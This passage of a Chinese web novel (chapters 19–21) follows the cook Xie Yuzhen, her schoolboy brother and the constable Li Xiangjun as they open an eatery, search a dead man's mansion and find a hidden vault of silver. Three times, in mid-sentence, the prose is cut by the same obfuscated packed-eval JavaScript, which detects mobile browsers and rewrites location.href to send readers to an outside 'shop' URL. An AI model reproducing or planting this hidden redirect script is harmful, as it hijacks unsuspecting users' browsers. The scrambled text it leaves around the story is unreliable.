将锅盖揭开，这时要小心，往后面避一避，别被水汽扑了脸，容易烫伤的，谢玉珍将锅盖放到一边，将栗子一个个夹到盆里，栗子已经蒸透了，散发着它独属的迷人芬芳。 煮熟的栗子还可以拿来炒新鲜的猪肉，味道鲜美，是独属于冬天的一道菜，在下着鹅毛大雪的冬天，这样一道老少皆宜的肉菜摆上桌，栗子的甜让肉更鲜，没有土腥味，肉汁被栗子牢牢锁住，粉坨坨的栗子入嘴就是幸福的感觉。 很奇怪，明明是甜的食物，咸吃却也不逊色，这大概是栗子的一个大优势。 栗子稍微冷却后，颜色变深了很多，不再是鹅黄的嫩色，摸起来微微粘手，这时候将它放进石臼中研磨，研磨成细腻的泥状，由于是剥开之后隔水蒸的，所以栗子流失的水分不算多，研磨出来就像打糯米糕的形态，但是没有那么粘。 谢玉珍将蜂蜜取出来，倒进研磨好的栗子泥中，搅合均匀后把糯米粉加进去，糯米粉要少放，否则会干了，还会压住栗子本身的香味。 她像揉面团一样将盆里的絮团揉均匀，团成一个一个的剂子，放进方格木头模具里倒出形状，一半加点花生碎，一半不加，加花生碎的花纹朝上，不加的花纹朝下，一起放到蒸笼里蒸，等上汽一会儿就蒸好了，糯米粉是很容易熟的，不需要等太久。 栗子糕出炉后还滚烫着，谢玉珍拈起一个吹了吹，咬了一口，这个是带花生碎的，加了糯米粉的原因，这个并不像寻常糕点一样噎人，是那种湿润的甜点，栗子和蜂蜜的甜香压着糯米的清甜在嘴巴里上演交错的乐府，是很厚重的味道，甜而不腻。 比起这个，谢玉珍更喜欢吃绿豆糕一些，还有绿豆汤，绿豆糕要甜一些，两者的风味不同，不可一概而论。 她浅尝辄止，吃了半块后将栗子糕放进帕子里，等饿了再吃，她将做好的栗子糕收了一半给隔壁送去了。 她当然不可能全都送了，这么多呢，而且过几天谢朗回来了，他可还没吃过呢，等张二郎走了，再给张夫子和张娘子送去一些。 等明日去镇上了，给李郎君送一包，欠着人情，她难受着呢。 当天夜里，谢玉珍没有熬汤，她早就跟食客们说好了，这两日要搬东西，食肆开张了让他们再过来，开张那一天给大家送一碗紫苏饮子。 现在天气凉了，谢玉珍便让呜云进屋睡了，晚上风大，屋里门窗关进风灌不进来，房间为了聚神，并没有建造的很大，小小的一间反而很暖和，谢玉珍将她小时候的衣物翻出来，收拾出来一个小木柜，盖打开铺上衣服，就是呜云暂时的小窝了。 “进去。”谢玉珍指着柜子道，她刚才拎着呜云出去如厕了，“敢在窝里放水我就找镇上杀猪匠把你阉了哦。” 呜云耳朵颤了两下，脸朝下摔下去，打了个响鼻，仿佛冷着了似的。 谢玉珍脱掉外衫，拿湿的手帕擦了一把脸，端着蜡烛台走到床边吹灭了，外面风声呼啸，里面却安静，只有呜云哼唧的声音，但不一会儿也消失了，它玩睡着了。 呜云特别臭美，今天戴上项链昂首挺胸的，像只骄傲的大白鹅，白日里在院子里乱窜，又是追蜻蜓又是玩水，晚上大概是累了。 第二天早上，谢玉珍是被呜云的叫声吵醒的，她还睡眼惺忪着，掀开被子就清醒一些了，她睡觉脚上没穿足袜，一暴露在空气中热量快速流失，她草草穿了鞋子，把房门打开，呜云自己跑出去了，在墙根儿放水。 噗嗤一声，谢玉珍被逗笑了，外面天蒙蒙亮，正是最冷的时候，谢玉珍倚着门等，小崽子放完水也飞快地跑回来了，一股脑钻进窝里。 谢玉珍把房门关上，外面的光透过窗子进来，勉强能够视物。 “娇气。”谢玉珍打了个哈欠，又回到床上睡回笼觉。 院墙外张家几人在门外送张二郎，张娘子眼眶有些湿润：“这次秋闱，能考中当然是最好，若是不中，就早些回来，再等两年就是，别把自己憋紧了。”她拽着张二郎的手，细细叮嘱。 “娘子，好了，让孩子走吧。”张夫子轻柔拉过依依不舍的张娘子，表情转向张二郎又严肃起来，“你娘的话就是我的话，我再添一句，人贵在诚，你记住了，便是不中，也不算给你爹脸上抹灰。” “孩儿知道！”张二郎有些迫不及待，他早就想出门游走，他爹一直不让，这次好不容易逮着机会，他心里可没有感伤的感觉。这次去州府少不得要走一周半月的，回来都入冬了。 至于能不能考上，谁知道，他可打不了包票。他本来想参加武举，他爹死活不同意，还说这个考试比文举更难。 他最多能考个末名回来，希望他爹别生气吧。 他背篓里除了衣物，还在包袱夹层缝了银叶子，他们嵩县内还算太平，外面可不一定，钱得藏好了。 张家几个人看着他上驴车走远了，才抹着眼泪回去了，张夫子不一样，他是特地告假半日回来的，现在一个人还得回去书塾呢。 张夫子到学堂里的时候，几个孩子在那里默毛笔字，宽阔的空间里只有毛笔撞击到砚台的声音，这几日白日里暖和一些，学堂里没有用炭，这让几个人还有些不习惯。 还有风声和孩子们的呼吸声。 谢朗凝神静气，手腕提笔，他学的是正楷，最过端正平衡的一种字体了，就像太极一样，给人一种平衡的美感，里面蕴含的气韵风度，谢朗已得了一两分了，但笔法还稚嫩，一看便知道出自小儿之手。 “小朗进步很快啊，”张夫子站到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780307|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢朗身后，赞赏的目光对向他，“学了不过几日，便有些风范了，假以时日，必成大家啊。”他捋着胡子满意地点头。 “谢谢老师夸赞，我写的还不算好。”谢朗闻言，连忙摆了摆手，墨点子一下子溅到纸张上，毁了这张字，他吓的脸色有些发白。 “别害怕。”张夫子耐心宽慰，“你才刚开始读书，以后有的是时光。再说，怎么样才算好，要如颜米，还是王赵？如何作比？只能自比，你现在就该懂这个道理了，小朗，你很聪明。” 山外还有青山，楼外还有高楼，要学着坦然，积洼步，越青山，然后至千里。 现在这样，便也算好。 谢朗将这话听进去，他本就聪慧，心中大有思量：“多谢老师，学生领教了。”他正襟危坐，揭开作废了的字肉成一团，缓过心神重新写。 张夫子见谢朗听进去了，满意地点了点头，又见堂中众人大多有思量，心中更是高兴。 他将一包点心放到谢朗的书案上:“谢丫头昨日新做给我送来的，甚是好吃，你休息时候尝尝。” 谢朗眼睛发亮，书塾里的饭没有他女兄做的一半好吃，他一点都不喜欢，吃的不过平日里的六成，老师一定是看出来了，才给他送的，而且女兄肯定在家给他留了，老师给他送的是他自己嘴里扣出来的一份。 更感动了，老师对他是真的够好的了。 他更加耗费心力对付纸笔，他长大一定要好好回报女兄和夫子。 休息的时间，他四周的同窗一下子围了上来。 “谢朗，夫子给你什么了啊？”他领座的小男孩好奇的问，他其实听见了，是谢朗女兄做的吃的，可恶，他家里人为什么不给他送啊！他心中哀嚎道。 “我也不知道。”谢朗老实摇了摇头，将布包掀开，里面堆着四五块巴掌大的小点心，闻着又甜又香，而且是很新鲜的味道。 “是栗子做的！好好吃啊！”谢朗吃了一口，舌尖里面感觉到甜，上次吃栗子还是好几年前了，“还有糯米的味道，好香。” 他边上的小男孩馋的都快流口水了。 “谢朗，你能给我吃一块吗？”他可怜兮兮地问，“我下次给你带我爹给我从北边带过来的肉干。”他爹是个游商，他家里特别有钱，他是整个学院的小富人。 “好。”谢朗将一块栗子糕分给他，“不过我不要肉干，你上次不是说你家里有很多藏书吗，我想借阅两本，可以吗？” 他小心翼翼地和那个男孩打着商量，书籍是宝贵的资源，他并不确认对方一定会借给他。 “当然好！借四本都可以，不过，能再给我一块吗？”那男孩迫不及待同意了，“我刚才没尝到味道。” 他当然是骗人的，他刚才明明尝到味道了，但是太好吃了，他还想吃，他只是个孩子，贪心一点也没什么吧？他心虚地想。 “成交。”谢朗满意微笑。 两人思想不在一个维度上却达成了诡异的共鸣。 19. 就叫“堂前燕” 潘家的宅邸这几日被争的头破血流，潘家之前的家丁丫鬟也皆数都遣散了，李香君今日不是当值的时间，他身着便衣，在巷子侧观察，见一个家丁背着包袱走出来，他脸上挂上笑，从巷子里走过去，故意与那个家丁撞了个满怀。 “抱歉抱歉!”对方正要发火，李香君连忙扯着笑连声道歉，“你没事吧？” 那家丁见他身姿高大，宽松的衣袖里的肌肉若隐若现，本欲发火，怒气却被自己硬生生压下去：“没、没事。” “诶，兄台，这家是犯什么事了？大家怎么都避着这家走？”李香君假装好奇，顺势问道。 那家丁摇了摇头，有些讳莫如深，不打算透露什么。 李香君连忙将几个铜板塞进对方手里，借口说道：“我潘大官人的旧友，家里有些变故，是远道来投奔他的，怎么一进镇子就听说他死了？” 家丁将铜板迅速收进袖子里，颇有些遗憾说道：“投奔？你要早来两个月还好说，都死好久了，之前主家就有些克妻的名头，但也就几个噱头，现在出命案了，镇子里都说这儿不详呢？郎君你还是走远点吧，别好生生沾上晦气了。” “那可多谢仁兄了，我最近运道本就不行。”李香君打了个冷颤，跟被吓着了似的。 “不谢不谢，我本来也不信，可最近府里总有些怪声，我也不得不信了。”那家丁遗憾地摇了摇头，“郎君还是离这儿远点儿吧。我不多说了，先走一步。”他说完，逃也似的离开了这个“晦气”的地方。 李香君若有所思，他本就一直暗中在查潘案这个人，他一死，线索就都断了，他头痛的很，但他却不甘心。 潘案不过二十多的年岁，便娶了六个妻子了，长的活过了三月，短的不过三日，要么得病暴毙，要么溺水，再就是上山被匪徒绑架下落不明。 嵩县的匪徒，十个他打过交道的有八个，那女子是不是被匪徒捉去了，这太存疑了。 况且再克妻，也不可能娶一个死一个啊，谢小娘子之前还和他私定过终生，如果不是她及时醒悟过来了，岂不是下一个就是谢小娘子了，一想到这个可能性，他就气的不行。 夜晚有怪声—— 看来只能夜晚去探查一趟了。 他转身离开，不一会儿不知不觉就走到了谢玉珍的食肆，今天她还没开张，在整装潢的事情。 他本欲不声不响离开，却被女子叫住了。 “郎君进来喝盏饮子吧！”谢玉珍本来还迟疑，人走近了才确定来人是谁，连忙招手呼应道。 李香君今天罕见地穿了一身嫩绿色的青衫，像个读书人一样，这身衣裳衬的他更加貌若好女，让人见之心喜。 谢玉珍捕捉道对方脸上闪过一丝怔愣，心下有些好笑，她今日为了方便做事情，穿了窄袖的上衣，头发只有一缕垂在耳边一跳一跳的，其他都盘在头顶，十分干脆利落。 她素手掀开帘子进到屋里，取出她今日过来时候带过来的莓果，李香君今天来的赶巧，这是她昨日在山上发现的，新鲜采摘下来，间隔不过六个时辰。 她将其放在杯子里捣碎，鲜红色的汁水低低飞溅到杯壁上，像是血珠，然后放两勺蜂蜜，最后紫苏水封顶，一杯新奇的紫苏莓果饮子就做好了。 桃粉色的水，青白色的杯壁，杯底蜂蜜慢慢氤氲，像云霞一般散开。李香君坐在大堂收拾出来的桌子边，这显然是个宽口的杯子，喝茶用的，用来装饮子竟然也出奇的和谐。 谢玉珍将一个陶瓷勺子放到杯子的托盘边，她自己走到一边做事情去了，请别人帮工还要工钱，当然，她一个人肯定做不完，但是她多做一点，工人少做一点，就少付一点，她招呼李香君道：“慢用。” 李香君拿起勺子放进盏中，做装饰用的新鲜紫苏叶子被压下去，只漏一个叶尖在外面，他竟有些舍不得搅拌了。 不过还是得搅匀的，不然上面没什么味道，下面就太甜了，勺子在盏中转过几圈，蜂蜜都匀散开，莓果的果肉随着盏中的漩涡旋转飞舞，像是红粉蝶。 他抬起杯托，喝了一口，入口立马浸润了干燥的唇舌，紫苏水并没有完全晾凉，还有些温，在秋日里便不觉得萧瑟，蜂蜜的甜和莓果天然的酸，搭配紫苏稍微的香辛，一种温润的气泡将人包裹住，这种感觉不足为外人道也。 “谢小娘子，不，现在该叫谢掌柜了。”李香君忽然想到什么，改口笑道，“这个饮子真新奇，在嵩县会时兴开的，恭喜发财。” 谢玉珍闻言笑，她正好有些累了，丢开抹布坐到李香君那一个桌子边上：“同喜同喜，李郎君今天怎么穿的这般清雅，没当差么？”她询问。 李香君手上有一下没一下搅着饮子，不知是没意识到，还是不想这么快喝完走人，他乖乖回答：“是，今日不当值。” …… 这段对话过后诡异地沉默，两人都有些尴尬，李香君连忙开口：“前几日谢小娘子的汤多谢了，我母亲夸赞不已呢。” “这有什么谢不谢的，随手的事，你给食肆出了这么多银子，不如我们一起给食肆取个好意头的名字吧。”谢玉珍提议道。 起名字，他一个粗人能行吗？李香君有些不好意思，他挠了挠头，想了半天说道：“若让我讲个由头，谢小娘子姓谢，不如叫‘堂前燕’？”他娘经常念一首诗——旧时王谢堂前燕，飞入寻常百姓家。 “好啊，就叫堂前燕，我回头让张夫子给我题一张匾！”旧时王谢堂前燕，凑巧的很，她的这个“谢”，就是这句诗词里的那个“谢”呢，她祖母家往前数，是谢家的旁支。只是到祖母这一代没有男丁，血脉凋零了，与那边也就没有联系了，取这个名字也算相得益彰吧。 接下去又是窒息的沉默。 “呜——！”呜云甩着尾巴从后院跑出来，凄厉地嚎叫着，谢玉珍连忙站起跑过去把崽子抱起来。 呜云可怜兮兮地在她怀里委屈地呜咽。 “摸摸毛。吓不着。”谢玉珍顺毛一遍一遍摸它的头顶，估计不是撞着腿了就是跑着绊着了，现在真是一日比一日娇气了，长大了可怎么办才好，谢玉珍心里叹息道，却没意识到这都是她自己惯出来的。 她抱着呜云坐下， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780308|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呜云就这几日的功夫胖了不少，谢玉珍都被她闹瘦了。 李香君望着谢小娘子温柔地能滴水的侧颜，又喝了一口水，却没料到一口干了，他心下顿时有些懊恼，这下可没有理由留下了。 “李郎君，你发什么愣？”谢玉珍逗弄完呜云，坐到桌边，疑惑地提醒道。 李香君立马舒展开眉头，摇头解释：“我没事。” “饮子喝完了，”谢玉珍看他盏内只留下一片紫苏叶，“要续碗热茶水吗？”她捏着呜云厚实的爪子，呜云立马抗议地轻咬她的衣裳。 “不用了，”李香君站起来，再喝下去就得尿遁了，“反正今日不当值，我帮你做事，你坐着歇会儿。”他站起来，不等谢玉珍说什么，自来熟地干起活儿来，也没管主家愿不愿意，当然，谢玉珍没什么不愿意的，这个食肆还有李香君一份儿呢。 他为自己的食肆忙她还能阻止不成？ 可看着忙不停的李香君，谢玉珍却有些看不下去了，他怎么比做工的人还卖力？ “郎君！”谢玉珍连忙叫停，“你还是坐下喝盏茶吧。”谢玉珍将茶壶拿出来，招呼做工的都停下来喝水。 做工的用的都是泥碗，这是给客人吃饭准备的。 “掌柜的怎么区别对待啊，我们咋没有这茶盏吃？”其中一个工人笑着打趣道，场上的人都哄堂一笑。 这种上不得台面的笑话他们常说，谢玉珍脸色平常，没有任何羞赧的神色，他们自己便觉得没意思了，笑声自然而然就止住了。 “这位郎君也是东家，得罪了他，我可不开工钱。”谢玉珍玩笑。 大家闻言一笑，气氛松弛下来，都安静地喝水，聊些其他的话题。 李香君本想说些什么，见谢玉珍自己能应付，他完全没有“英雄救美”的机会，自觉喝完茶就离开了，他并没有想毁坏谢小娘子名声的意思，希望谢小娘子不要误会才好。 天擦黑的时候，谢玉珍给做工的人结清工钱，把人都送走，正要关门的时候，便看见李香君的身影，她眼神好，不会认错，李香君的长相在嵩县也没有认错的可能。 他穿着暗色的短打衣裳，贴着墙走的飞快，谢玉珍正疑惑呢，想起来，这不是走向潘府的方向吗？潘府传闹鬼，那一片夜晚都没人敢过去了。 此时路上没什么行人，谢玉珍心中纠结，脑子里天人交战后还是将呜云轻轻踹进屋里，将门从外面阖上，她要跟上去看看。 呜云在里面用爪子扒门，却没人能哄它了。 趁着人影还没彻底消失，谢玉珍轻手轻脚快速跟上去了，她之前逃跑的时候早就锻炼了一番反侦察的能力，应该不至于被发现。 却没料到，不一会儿就在一个拐角把人跟丢了。 谢玉珍有些懊恼，左顾右盼间一把匕首抵住她的腰，谢玉珍浑身都僵了。 不是吧，这么倒霉！ “为何跟踪我？”夜色昏暗，一道声音在身后响起，是李香君。夜色昏暗，李香君没有看清谢玉珍的衣着。 谢玉珍不敢松气，一松气匕首可就划破衣服了。 20. 潘府书房的密室 李香君将匕首收起来，有些手足无措，他还以为…… “真是抱歉，没伤着你吧？”他有些紧张，低声询问道，语气里满是歉意。 “我没事，”谢玉珍如实回答道，她也并没有吓着，“郎君去的方向，不是潘府吗？潘府的案子早就结了，你去那边做什么？” 李香君沉默。 “我家在那边。”他喉咙因为向心爱的女子撒谎而有些发涩。 谢玉珍眼神怪异地看他：“沈二前几日在我这里买下酒菜的时候，说你家在香云村，平日里都住在县衙里，你哪个家在潘府附近？”她一时嘴快，竟毫不客气给他拆台了。一说完她两只手就捂住嘴，有些后怕的样子。 李香君低垂着头，像个犯了错的稚童被爹娘罚在墙角罚站，巷子里除了黑暗就只剩一点儿月色，不足以照清楚人脸。 他看上去有点儿可怜兮兮的，像是呜云。谢玉珍突然冒出来这样的念头。 “若郎君要追根揭底，我便该奉劝一句。”谢玉珍认真起来，“深潭有千尺，空视则浅，抵足则深。” 李香君半懂半不懂的，有些懵地看她。 谢玉珍扶额，心里又叹了一口气，最近她怎么总是犯蠢。 “就像一棵老树，表面看枝干并没有粗到骇人的地步，可底下的根却已经蜿蜒了整个院子，连根带泥拔不出来，反而会伤及己身。”谢玉珍打了一个通俗的比喻，李香君也算个聪明人，一下子就听懂了。 “谢小娘子是不是知道些内情。”李香君试探问道，而后又觉得不妥，兹事体大，把一个弱女子扯进来做什么，人家好不容易才出去，才刚过上好日子。 “郎君，还要查吗？”谢玉珍小心翼翼地问，声音如同一个钩子，让人忍不住将注意力引到她的言语上。 李香君却答非所问道：“更深露重，谢小娘子回去吧，别染了风寒。”他自然要查下去的，如果不查下去，那些平白无故“暴毙”了的可怜女子怎么办？活要见人，死要闻其所，他是个捕快，维护治安是他不可推卸的责任。 况且，他的良心不允许他停下脚步。 谢玉珍是个顶聪明的女人，她当然听得懂李香君的言外之意，她沉默，心火却微弱地起了苗头，她很想明哲保身的，很想，可是，可是。 “若你要去潘府暗中查探，带我去吧郎君。”谢玉珍喉咙口滚过好几轮话，说出口的话就越显得坚定，“我了解潘府的布局，你若带我去，肯定事半功倍的。”她如是说道。 “……”在良久沉默的对峙中，他一双利眼可以看清她月光下水润的眸子，他最终还是败下阵来，干涩地道了一声，“好。” 两人脚步轻巧，快步就到了潘府后门口，大门白日里衙门来人用封条封了，里面传来野猫的嚎叫声，好像是两只猫打架。 李香君试着推后门，却没有推开。 “我们翻墙进去。谢小娘子……！”李香君正打算回头询问谢玉珍需不需要他用轻功带她翻墙进去，却看见佳人已经上了墙头。 “李郎君，哪有做‘贼’走门的？”谢玉珍嘲笑，“你动作快一点呀，这墙不高，从树上爬过来就行，别被人发现了，马上打更人过来了！” 李香君见她跳进去了，使了轻功一下子跳到了院内，潘府里一个人烟没有，除了猫叫并没有什么怪声，大概率是以讹传讹，潘府之前的下人自己吓自己。 “书房在花园后面。”谢玉珍说道，“潘案从不让下人靠近书房，账本或者书信或许是在书房里面。” 李香君闻言，迅速便分辨出了书房的方向，两人穿过花园还惊了一黑一黄两只狸猫，猫儿朝他们哈气，把谢玉珍吓了一跳。 过了曲廊进入一边的书房，谢玉珍将门轻轻推开，熟练地踏进去开始在书架上翻找起来，李香君在找屋内有没有什么特殊的机关。两人都没说话，却自有一种特殊的默契在身上。 书架上书都翻过一遍，书页里没夹着什么东西，也没有什么特殊的标记，谢玉珍将东西都归整成原样，她心中泛起疑惑，难道东西不在书房吗，她记得上辈子书信在一本厚厚的论语里面：中间挖空，将书信放进去，不翻开的话从外表看没有任何奇怪的地方。 那本论语谢玉珍已经翻过了，没有。难道说，他换地方了？ 不应该啊，潘案平素健忘，固定的东西从来不乱放的，这一点她最清楚了。 其实还有一个更大的可能性，之前查案子中间有人浑水摸鱼将东西搜走了，毕竟查案的捕快不只一队，里面肯定是有上面的“眼睛”“手足”的。 李香君那边在旁边放瓷器的柜子上摸索，突然，书桌下“轰隆”响了一声，书桌在书架前面，谢玉珍正站在书桌前思考呢，突然一下，措不及防间便直接掉了下去。 她的屁股都摔麻了，幸好高度不算太高，不然她非得摔断腿不可。 她默默站起身，悄悄揉了揉自己的屁股，李香君下一秒就跳下来了：“谢小娘子，你没事吧？真是抱歉，我太莽撞了。”李香君心里愧疚的不行，着急地询问，肯定有事，不摔坏手脚也疼啊。 “跟你有什么关系，意外而已，哪是人力可以预料的呢？”谢玉珍发丝凌乱，脸颊上蹭上了黑灰，坦然地安慰对方。 前面是及其狭隘的通道，越往下面走越窄，只够一个人通行，两人只好一前一后地走，走了不一会儿就宽旷了起来，借着李香君火折子的光，谢玉珍可以确定，她踩到平地上了。 “我们找一下墙壁边有没有挂着的蜡烛或者油灯，一般地下的密室都会有。”谢玉珍直接摸索向一边的墙壁，顺着墙走了一会儿摸到一块坚硬冰凉的东西，是镶嵌在墙里面的烛台，“李郎君，快过来，我找到了！” 这盏烛台点亮后两人便借着微弱的烛火将密室四角的八个烛台上的蜡烛都点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780309|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燃了，立马就亮堂起来，就是烛火映衬着脸蛋焦黄焦黄的，像枯黄叶子的颜色。在这种环境里有些吓人。 密室一面墙边堆满了一模一样的箱子，粗略看过去至少有三十来个，另一边的架子上也有成堆的木盒。 李香君走上前去，用配剑一下子砍开了其中一个箱子上的锁，他将箱子盖猛地一打开，一股白光反射烛火的光刺进他的眼睛里，他眼睛眨了两下才恢复过来。 这里面竟然是排列整齐的银锭子，个头还大的很，简直闪瞎了两人的眼。 李香君接着劈其他的锁，谢玉珍从发簪上取下一段铜丝，扭了两下塞进锁里，两三下就打开了：“何必费劲儿劈砍，这样快的多了。”她奇怪的看向李香君。 不是，谢小娘子不会有些副业吧？怎么开锁这么熟练，李香君想到这茬儿，又光速地否定了这个想法，谢小娘子不是这样的人。 所有的箱子不一会儿就都打开了，谢玉珍数了，有十七箱银锭、三箱金条、六箱碎银还有八箱玉器玛瑙。谢玉珍连忙跑到另一边的柜子边将没上锁的盒子打开看。 一个、两个、三个……里面全是一张一张的地契银票。 潘案既不是商人，连个秀才也没捞到，外人眼里都是仰赖祖上的余荫，但也不过是殷实之家，如何有这滔天的财富？！李香君心里震慑不已，心中千转百回。 “证据没找到，找上麻烦了。”谢玉珍沉默片晌，自嘲地说道。 两人坐在一边，相对无言地沉默，最终还是谢玉珍打破了沉默。 “这些钱财估计背后的人也在找，你要上报吗？”谢玉珍问道，李香君应该不会蠢到上报吧。 “不，”李香君摇了摇头，“县令不算是个好官，这些银子就算上报了，也到不了朝廷手里，充盈不了国库。”他叹了一口气，事情就这样陷入了僵局。 “这个宅子绝对不能到县令手里，张夫子之前的学生过几日会从汴京回来看望张夫子，朝中有好多官员告老还乡，我到时候打听一下有没有来我们嵩县的好官。”谢玉珍提出一个方法，“县令平日里素爱装作清廉，一时半会儿不会着急买宅子。” “这样也好。”李香君想了想，觉得也只能这样了，总比等待时机要好。 两人取下一个蜡烛照亮，将其余的都熄灭，从密室走出来，将书房归整好后出去了。 路过花园的时候又遇见了那两只猫，它们两个又和好了，互相给对方舔毛。 走到后门围墙那里，谢玉珍有些尴尬，里面围墙附近没有树木，她不会轻功上不去啊。 李香君很快就发现了她的窘迫，轻笑一声：“冒犯了。”他捏紧谢玉珍的肩膀，像老鹰捉鸡一样把女子带出去了。 脚踏在实地上，谢玉珍还有些惊魂未定，这速度太快了，她都有些晕了。 “我先告辞了。”李香君说道。 “等等！” 21. 酒糟圆子 “郎君现在是回衙门，还是回自己的住所呢？”谢玉珍问。 “自然是回衙门。”李香君不假思索说道，奇怪对方为何有此一问。现在天色很晚，更深露重，家里又远，自然不会回去了，“明日还要当值。” 现在这么晚回去衙门，未免没有眼线看见，惹人怀疑，谢玉珍心中觉得十分不妥。 “郎君现在回衙门，未免太引人怀疑了。”谢玉珍将其中弊端陈述过后，提议道，“不如郎君随我回店里，明日再回去，明日早上便假作回去看令堂了，郎君的孝顺是出了名的，他们就算怀疑，也不会太多。” “叨扰谢小娘子！”李香君恍然大悟，拱手道谢，两人便抄小路一路沉默地回去店面了。 店门的一边拴上了，谢玉珍推另一边的门，却没料到有些阻力，她动作停了一下蓄力推开，进门一看，呜云团成一团被门推挤到门边，像是一块化了的棉花。 谢玉珍抱起小狼，心里有些嗔怪，现在天气越来越冷了，怎么睡在门口了呢，动物着凉了医师都不好找。 “后院厨房边有个客房，委屈郎君将就一夜，我去楼上给郎君取被褥。”谢玉珍将店内的灯烛点亮几盏后，走上楼梯，她看上这个店面就是因为有个二楼，之前是堆放米油的储物的地方，现在她暂时睡在楼上，等食肆开了之后再搬下来住。 见李香君点头，她抱着打呼噜的呜云往楼上去了，消失在拐角。李香君不动声色地观察店内的布局：最左边角落是食肆最常见的放酒和算账的柜子，两者之间被一个太师椅隔开，靠门的右边是方桌长凳，再往里面一点都是圆桌圆凳。 最后面的地方隔上了帷幔，想来是为了给女子与孩子使用的区域，最外面的方桌子是给贩夫走卒吃饭的地方，他们吃了交了饭钱便可以直接踏步出去，为生计奋斗了，中间的圆桌是为了给有钱有闲的子弟吃饭。 这实属是巧思，还有二楼，大概就是给不方便出现在大庭广众的有权势的人，或者是给带娘子儿女出来打牙祭的男人的雅间。 李香君本因为容貌和母亲夸赞的绣工而对这女子一见倾心，如今心中更多了好几分的欣赏，心下更敬更怜。 谢玉珍将呜云放进它自己的小窝里，从库房取出谢朗备用的一床被褥抱着下楼，被褥厚肥，将她整个上身淹没，灯光昏昏，她一时间不察，竟踩了自己的裙摆了。 李香君飞身过去将她扶正，之后又触电般地收回了手：“失礼了！” “多谢郎君。”谢玉珍看着地上散开的被褥心中庆幸，幸亏今天白日里做了大扫除，这两天没下雨，台阶上不脏，否则真是白费了。 她诚挚地向李香君道谢，此时突然—— “咕噜——” 谢玉珍噗嗤一笑，李香君脸红的像喝酒了一样，头上几乎都要冒烟了。 “郎君想吃什么？”她问道，李香君将被子捡起来抱在怀里，见谢玉珍没提刚才的囧事，颇有些不好意思。 “都行，都行。”他有些同手同脚，做了一些很无谓的动作，谢玉珍险些又笑出来，眼角憋出了泪花。 夜晚厨房当然是没有点灯，谢玉珍见李玉珍自己将被子抱怀里了，便端了两盏油灯过去。 她将灯放在一边的桌子上，踩上凳子从柜子高处取下来一坛封好的米酒，这是前段时间在酒坊买的，谢玉珍尝过了，味道不赖。 酒糟小圆子，更深露重，睡觉前又不便吃些油腻的食物，她便想着做道甜汤，又不是当正餐，不是奔着吃饱去的，填填肚子足够了，吃了好睡觉。 李香君将被褥放好就直奔厨房，拿起引火的褐色松针火引子就打算生火，被谢玉珍叫住了。 “郎君！”谢玉珍见对方打算生火，连忙制止了，还没到生火的时候呢，“你去端盆水过来，可以吗？” 她将糯米粉取出来，打开绳子，盛出大概够一个成年男子吃的量。这个时候李香君也把水端过来了。 “现在可以引火烧水了。”她将糯米粉倒进盆子中，等水扑腾扑腾沸腾后，加入适量的开水，用筷子迅速搅拌开，她正要下手揉，李香君就开口道。 “谢小娘子，这水这么烫，我来吧。”他提议道，“我皮糙肉厚，我不怕烫。” 谢玉珍知道对方是好心，但还是摇了摇头：“我已经做熟练了，揉得快，现在时间晚了，早些喝碗热汤早些睡吧。”她迅速将面絮揉成光滑的面团，用菜刀切成长条，再揪成差不多珍珠那么大的小剂子，有的大有的小，这是不能避免的。 人又不是尺规，哪有做的一模一样的。 再放些干粉子到盆内，将所有揉好的小院子放进去，谢玉珍两只手抓起盆的两端，端起来左右摇，每个小圆子身上沾上了干粉，放进水里煮才不会粘在一起。 锅里水一直滚着，烧到只剩原来的一半，这个量却刚刚好，谢玉珍先将两块红糖放了进去，等红糖煮开，她将圆子都倒了进去。 她拿锅铲轻轻地搅拌着锅里红褐色的汤汁，防止圆子糊底，等圆子渐渐浮上来，就该转中火煮了。 谢玉珍拿着火钳，从灶里取出一根烧地正旺的柴放进一边的坛子里，再把之前封在上面的石板挪回去。 这个到冬天也算是炭火了。 做完这些，她回到灶前，拿起一个勺子，慢沉底直捞起，将酒坛底的酒糟挖了一大勺倒进锅里。 等圆子全部都浮起来，锅里的火候也变小了，她之前做的藕粉有些结块了，她敲下来一块，放进碗里碾碎，用冷水化开，缓缓地倒进锅中，同时不断地搅拌着。 “郎君，加根木柴。”李香君麻利地将一根比较短的木柴塞进灶里，灶里本就有火，一会儿就窜出火来，将锅里的汤重新烧滚。 